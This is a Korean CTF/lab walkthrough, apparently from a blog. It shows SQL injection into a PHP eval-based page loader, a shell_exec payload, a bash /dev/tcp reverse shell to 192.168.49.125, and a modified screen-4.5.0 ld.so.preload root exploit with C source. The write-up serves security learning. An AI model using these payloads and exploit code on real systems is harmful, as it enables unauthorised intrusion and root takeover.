1.Information Gathering

: Port Scan

 

 

어딘가에 있는 힌트를 쫓아가면

.swp 확장자 파일(Vim Swap File의 약자로

파일(또는 버퍼)의 변경 사항에 대한 정보를 담고 있음)

발견이 가능하고 소스를 살펴보면

 

선언되어 있는 get_page() 함수 기능 및

해당 함수가 어떻게 호출되고 있는지 확인이

가능한데

 

* 기초 상식 :

함수(function)는 프로그램에서 반복적으로 사용할 수 있는 문장의 블록을 말한다.

함수는 페이지가 로드되자마자 실행되지는 않고, 그 함수의 호출에 의해서 실행된다.

 

get_page 함수 내 $sql 변수의 주요 내용은

webpages 테이블 내 사용자가 입력하는

url 경로($route_string)의 page_data를

가져오는 쿼리문이고

 

주목해야 할 부분은

 

(1) 5번째 라인의 $sql 변수가

7번째 라인 mysql_multi_query에

호출될 때 사용자 입력 값을 필터링하는 등의

시큐어 코딩 과정 없이 그대로 받게 된다는 점과

(sql 인젝션이 가능한 것으로 추측)

 

(2) 5번째 라인의 $route_string 변수가

정의되어 있는 부분인 30번째 라인을 살펴보면

$route_string 변수는 서버의 redirect URL로 정의된 후

eval() 함수를 통해 반환된다는 점이다.

 

* 기초 상식 2:

eval() 함수는 문자열을 PHP 코드로 인식한다.

 

 

정리해 보면

webpages 테이블의

사용자가 입력한 특정 URL 경로 내

데이터를 호출하는 쿼리문인데

 

그 특정 경로를 입력할 때

사용하는 문자열에 대한 필터링,

시큐어 코딩은 되어 있지 않으므로

아무 데이터나 입력해도 되는 상황이고

 

그 특정 URL 경로의 문자열은

eval() 함수로 반환되기 때문에

들어있는 데이터(문자열)를 php 코드로

인식하는 상황이다.

 

그렇다면 임의의 경로를 지정해

해당 경로에 적당한 php 코드를

데이터로 넣어주면 침투에 필요한

공격이 가능할 것으로 보이는데

 

php에서 쉘 명령어를 실행할 수 있도록

기본 함수인 shell_exec을 임의의 경로

(/taku)에 데이터로 넣어주고

공격을 실행해 본다.

 

 

 

 

2. Exploitation

기본 실험

 

(2-1) 새로운 경로(route_string)와

해당 페이지의 정보(page_data)를

webpages 테이블에 생성해 준다.

taku"; INSERT INTO webpages(route_string, page_data) VALUES ('/taku', 'echo shell_exec("whoami");'); --
 

 

경로 이름은 /taku이고

데이터는 시스템 명령어를

실행하는 shell_exec 함수를

사용한다.

 

위 명령어가

정상적으로 입력되기 위해서는

url 인코딩(https://www.urlencoder.org/)이

필요하며 결과는 다음과 같다.

taku%22%3B%20INSERT%20INTO%20webpages%28route_string%2C%20page_data%29%20VALUES%20%28%27%2Ftaku%27%2C%20%27echo%20shell_exec%28%22whoami%22%29%3B%27%29%3B%20--%0A
 

 

이제 해당 쿼리를 입력한 뒤

 

브라우징 해보면

whoami 명령어가 정상 수행되었다.

 

 

 

(2) 리버스 쉘

taku";INSERT INTO webpages(route_string, page_data) VALUES ('/reverse', 'echo shell_exec("bash -i >& /dev/tcp/192.168.49.125/443 0>&1");'); --

-url encoding-
taku%22%3BINSERT%20INTO%20webpages%28route_string%2C%20page_data%29%20VALUES%20%28%27%2Freverse%27%2C%20%27echo%20shell_exec%28%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.49.125%2F443%200%3E%261%22%29%3B%27%29%3B%20--
 

침투 성공!

 

 


 

 

3. Privilege Escalation

 

 

 

screen-4.5.0은

ld.so.preload를 overwrite abuse 해

권한 상승이 가능한 취약점이 있다.

 

* 기초 상식 3

ld.so.preload의

LD_PRELOAD는 prefix로 LD_가 붙은

ld.so에 속하는 환경변수로

windows의 AppInit_Dlls 레지스트리와

비슷한 역할을 한다고 한다.

 

관련 exploit을 찾아보면

/tmp 디렉터리에서 파일 작업을 하는데

 

타겟 머신의 정보를 살펴보면

 

CentOS 8버전으로

보안상의 이유로 /tmp 및

/dev/shm 디렉터리를

nosuid로 마운트 한다는

특징이 있다.

 

nosuid 옵션은 파일 시스템이

setuid 파일을 포함할 수 없도록

지정한다.

 

apache 유저로

파일을 생성할 수 있는

다른 경로를 찾아본 뒤

 

exploit을 수정해 본다.

 

 

우선 exploit을 살펴보면

두 가지 파일을 각각 생성한 뒤

컴파일하는데

 

 

파일을 두 개로 분리해

별도로 작업한다.

 

 

우선 첫 번째 파일의

7,8 번째 라인의 경로를

/tmp가 아닌 변경해 주고

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/var/lib/php/opcache/rootshell", 0, 0);
    chmod("/var/lib/php/opcache/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
 

 

컴파일,

 

두 번째 파일인

rootshell.c 생성 후

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
 

컴파일

 

타겟 서버로 두 파일 다 넘긴 후

 

 

exploit에 기재된 순서대로

명령어 입력,

 

마지막으로 rootshell을 실행하면

 

 

 

728x90

+ Recent posts